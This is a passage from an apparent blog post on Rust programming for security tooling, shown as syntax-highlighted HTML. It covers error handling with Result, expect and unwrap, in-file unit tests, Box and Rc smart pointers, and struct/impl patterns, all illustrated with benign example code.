font-style: inherit;">use</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">std::io::</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">self</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">Read</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">};</span></span>
<span id="cb7-3"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">use</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">std::path::</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">Path</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb7-4"></span>
<span id="cb7-5"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// This function attempts to read a file and returns a `Result`.</span></span>
<span id="cb7-6"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// It returns the file's content as a `String` on success.</span></span>
<span id="cb7-7"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// On failure, it returns an `io::Error` (E). It kind of simulates</span></span>
<span id="cb7-8"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// the std::path::{Path, PathBuf} types from Rust's standard library.</span></span>
<span id="cb7-9"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">fn</span> read_config_file<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span>P<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">AsRef</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">Path</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;&gt;</span>(path<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> P) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-&gt;</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">Result</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">String</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">io::</span><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">Error</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb7-10">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// We use the `?` operator. If `File::open` fails, it</span></span>
<span id="cb7-11">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// returns the error immediately from the function.</span></span>
<span id="cb7-12">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">mut</span> file <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">File::</span>open(path)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">?;</span></span>
<span id="cb7-13">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">mut</span> contents <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">String</span><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">::</span>new()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb7-14"></span>
<span id="cb7-15">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// The `?` operator also works here. If `read_to_string` fails,</span></span>
<span id="cb7-16">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// the error is propagated.</span></span>
<span id="cb7-17">    file<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>read_to_string(<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">mut</span> contents)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">?;</span></span>
<span id="cb7-18"></span>
<span id="cb7-19">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// If both operations succeed, we wrap the content in `Ok`.</span></span>
<span id="cb7-20">    <span class="cn" style="color: #8f5902;
background-color: null;
font-style: inherit;">Ok</span>(contents)</span>
<span id="cb7-21"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb7-22"></span>
<span id="cb7-23"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// In a security tool, you might use `.expect()` to handle a</span></span>
<span id="cb7-24"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// critical, non-recoverable error.</span></span>
<span id="cb7-25"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">fn</span> load_critical_config() <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-&gt;</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">String</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb7-26">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> path <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"critical_config.json"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb7-27">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// `.expect()` will panic if the result is an error.</span></span>
<span id="cb7-28">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// This is useful for unrecoverable errors that should halt the program.</span></span>
<span id="cb7-29">    read_config_file(path)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>expect(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Failed to load critical configuration file"</span>)</span>
<span id="cb7-30"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span></code></pre></div></div>
<p>Rust’s clear distinction between recoverable <code>Errors</code> and unrecoverable <code>Panics</code> simplifies decision-making in error scenarios. Moreover, the fact that both mechanisms gracefully clean up the stack before exiting contributes to safer and more robust code, preventing potential resource leaks or undefined behavior. The following snippet of code shows examples of both types of failures.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb8" style="background: #f1f3f5;"><pre class="sourceCode numberSource rust number-lines code-with-copy"><code class="sourceCode rust"><span id="cb8-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">use</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">std::fs::</span>File<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb8-2"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">use</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">std::io::</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">self</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">Read</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">};</span></span>
<span id="cb8-3"></span>
<span id="cb8-4"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// This function returns a `Result` (recoverable error).</span></span>
<span id="cb8-5"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// A caller can decide how to handle a potential failure.</span></span>
<span id="cb8-6"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">fn</span> read_file_contents(path<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">str</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-&gt;</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">Result</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">String</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">io::</span><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">Error</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb8-7">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">mut</span> file <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">File::</span>open(path)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">?;</span></span>
<span id="cb8-8">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">mut</span> contents <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">String</span><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">::</span>new()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb8-9">    file<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>read_to_string(<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">mut</span> contents)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">?;</span></span>
<span id="cb8-10">    <span class="cn" style="color: #8f5902;
background-color: null;
font-style: inherit;">Ok</span>(contents)</span>
<span id="cb8-11"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb8-12"></span>
<span id="cb8-13"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// This function will cause a panic (unrecoverable error) on failure.</span></span>
<span id="cb8-14"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// It's used when we assume an operation should never fail in practice.</span></span>
<span id="cb8-15"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">fn</span> get_critical_secret() <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-&gt;</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">String</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb8-16">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// We use `.unwrap()` here. If the file is not found, the program will</span></span>
<span id="cb8-17">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// panic and print a message. The stack is cleaned up safely before the</span></span>
<span id="cb8-18">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// program exits.</span></span>
<span id="cb8-19">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">mut</span> file <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">File::</span>open(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"critical_secret.txt"</span>)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>unwrap()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb8-20">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">mut</span> contents <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">String</span><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">::</span>new()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb8-21">    file<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>read_to_string(<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">mut</span> contents)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>unwrap()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb8-22">    contents</span>
<span id="cb8-23"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span></code></pre></div></div>
<p>The primary challenge with Rust’s error handling, particularly in complex applications, stems from its strong typing. Propagating errors upstream often necessitates explicit type conversions, which can be verbose in standard Rust. However, crates like <a href="https://crates.io/crates/thiserror">thiserror</a> elegantly mitigate this by providing derive macros for custom error types and automatic <code>From</code> trait implementations. This often leads to Rust projects featuring a dedicated error module to define a consistent error hierarchy—usually <code>error.rs</code>—, streamlining error handling across the application. While Rust inherently provides backtraces on panics, structuring your error types carefully allows for richer and more context-aware error reporting even for recoverable errors.</p>
<p>Rust offers a remarkably graceful approach to testing. I particularly appreciate the intuitive structure for defining tests and the built-in assertions like <code>assert!</code>, <code>assert_eq!</code>, <code>assert_ne!</code>, and <code>#[should_panic]</code>. The ability to collocate unit tests within the same file as the routines they’re validating, encapsulated in <code>mod tests</code> blocks, is an excellent design choice, as seen in the next example.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb9" style="background: #f1f3f5;"><pre class="sourceCode numberSource rust number-lines code-with-copy"><code class="sourceCode rust"><span id="cb9-1"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// The function to be tested.</span></span>
<span id="cb9-2"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// It checks if a given port is a common service port (under 1024).</span></span>
<span id="cb9-3"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">fn</span> is_common_service_port(port<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">u16</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-&gt;</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">bool</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb9-4">    port <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1024</span></span>
<span id="cb9-5"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb9-6"></span>
<span id="cb9-7"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// The `#[cfg(test)]` attribute ensures this code is only compiled for testing.</span></span>
<span id="cb9-8"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">#[</span>cfg<span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">(</span>test<span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">)]</span></span>
<span id="cb9-9"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">mod</span> tests <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb9-10">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">use</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">super</span><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">::</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*;</span></span>
<span id="cb9-11"></span>
<span id="cb9-12">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// `#[test]` marks a function as a test.</span></span>
<span id="cb9-13">    <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">#[</span>test<span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">]</span></span>
<span id="cb9-14">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">fn</span> test_valid_port() <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb9-15">        <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">assert!</span>(is_common_service_port(<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">80</span>))<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb9-16">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb9-17"></span>
<span id="cb9-18">    <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">#[</span>test<span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">]</span></span>
<span id="cb9-19">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">fn</span> test_high_port() <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb9-20">        <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">assert_eq!</span>(is_common_service_port(<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">8080</span>)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="cn" style="color: #8f5902;
background-color: null;
font-style: inherit;">false</span>)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb9-21">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb9-22"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span></code></pre></div></div>
</section>
<section id="challenges" class="level2">
<h2 class="anchored" data-anchor-id="challenges">Challenges</h2>
<p>Naturally, this unparalleled level of safety and fine-grained control comes with certain trade-offs. The very features that imbue Rust with immense power can, at times, also present challenges; a true “double-edged blade” phenomenon.</p>
<p>Mastering Rust’s borrowing rules presents a steep learning curve, though a solid understanding of memory management principles significantly eases this process. This inherent “burden” is, in essence, the price of crafting truly secure code. While the ownership concept is undeniably powerful, it introduces numerous restrictions that necessitate various handling strategies. This has led to the development of different smart pointer types, such as <code>Box&lt;T&gt;</code>, <code>Rc&lt;T&gt;</code>, and <code>RefCell&lt;T&gt;</code>, each designed to address specific scenarios like heap allocation and shared ownership. While indispensable, these smart pointers can initially appear complex and counter-intuitive to newcomers. Some examples in the next listing.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb10" style="background: #f1f3f5;"><pre class="sourceCode numberSource rust number-lines code-with-copy"><code class="sourceCode rust"><span id="cb10-1"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// A basic struct that represents a finding from a security scanner.</span></span>
<span id="cb10-2"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// This is a simple type that can be copied and moved on the stack.</span></span>
<span id="cb10-3"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">#[</span>derive<span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">(</span><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">Debug</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">Copy</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">Clone</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">)]</span></span>
<span id="cb10-4"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">struct</span> SecurityFinding <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb10-5">    cve_id<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">u32</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb10-6"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb10-7"></span>
<span id="cb10-8"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// `Box&lt;T&gt;` is a smart pointer for a value allocated on the heap.</span></span>
<span id="cb10-9"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// It allows a single owner and is used when the size of a type is unknown</span></span>
<span id="cb10-10"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// at compile time.</span></span>
<span id="cb10-11"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> finding_on_heap <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">Box</span><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">::</span>new(SecurityFinding <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span> cve_id<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">2023001</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span>)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb10-12"></span>
<span id="cb10-13"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// The ownership of the `Box` is moved from `finding_on_heap` to</span></span>
<span id="cb10-14"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// `second_owner`. The compiler prevents us from using `finding_on_heap`</span></span>
<span id="cb10-15"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// after this.</span></span>
<span id="cb10-16"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> second_owner <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> finding_on_heap<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb10-17"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// The following line would cause a compile-time error:</span></span>
<span id="cb10-18"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// println!("{:?}", finding_on_heap); // ERROR: value borrowed after move</span></span>
<span id="cb10-19"></span>
<span id="cb10-20"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// `Rc&lt;T&gt;` is a "Reference Counted" smart pointer. It allows multiple parts</span></span>
<span id="cb10-21"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// of your code to share ownership of data on the heap.</span></span>
<span id="cb10-22"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">use</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">std::rc::</span>Rc<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb10-23"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> shared_finding <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">Rc::</span>new(SecurityFinding <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span> cve_id<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">2023002</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span>)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb10-24"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> first_reader <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">Rc::</span>clone(<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span>shared_finding)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb10-25"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> second_reader <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">Rc::</span>clone(<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span>shared_finding)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb10-26"></span>
<span id="cb10-27"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// With `Rc`, all three variables (`shared_finding`, `first_reader`,</span></span>
<span id="cb10-28"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// `second_reader`) can access the data, and it will only be deallocated</span></span>
<span id="cb10-29"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// when the last one goes out of scope.</span></span>
<span id="cb10-30"><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">println!</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Readers share a finding with CVE ID: {}"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> first_reader<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>cve_id)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span></code></pre></div></div>
<p>Rust does not offer traditional object-oriented programming (OOP) support in the same vein as languages like Python or Java. While it’s possible to write OOP-like code using <code>structs</code> and <code>impl</code> blocks, these constructs, though mimicking classes, do not encapsulate data and behavior in the exact same manner. From my perspective, as someone not heavily invested in strict OOP paradigms, this is acceptable. However, others more accustomed to conventional OOP might find this approach unfamiliar. The next listing shows <code>struct</code> and <code>impl</code> mimicking classes.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb11" style="background: #f1f3f5;"><pre class="sourceCode numberSource rust number-lines code-with-copy"><code class="sourceCode rust"><span id="cb11-1"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// In Rust, we define data and behavior separately.</span></span>
<span id="cb11-2"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// This `struct` represents the data for a network device.</span></span>
<span id="cb11-3"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">struct</span> NetworkDevice <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb11-4">    ip_address<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">String</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb11-5">    hostname<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">String</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb11-6"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb11-7"></span>
<span id="cb11-8"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// An `impl` block holds the behavior (methods) for the `NetworkDevice`</span></span>
<span id="cb11-9"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// struct. It's a key distinction from traditional OOP, where data and</span></span>
<span id="cb11-10"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// methods are declared together within a single `class` definition.</span></span>
<span id="cb11-11"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">impl</span> NetworkDevice <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb11-12">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// This is an associated function, acting like a constructor.</span></span>
<span id="cb11-13">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">fn</span> new(ip<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">String</span><span class="op" style="color: #5E5E5E;
background-color: null;
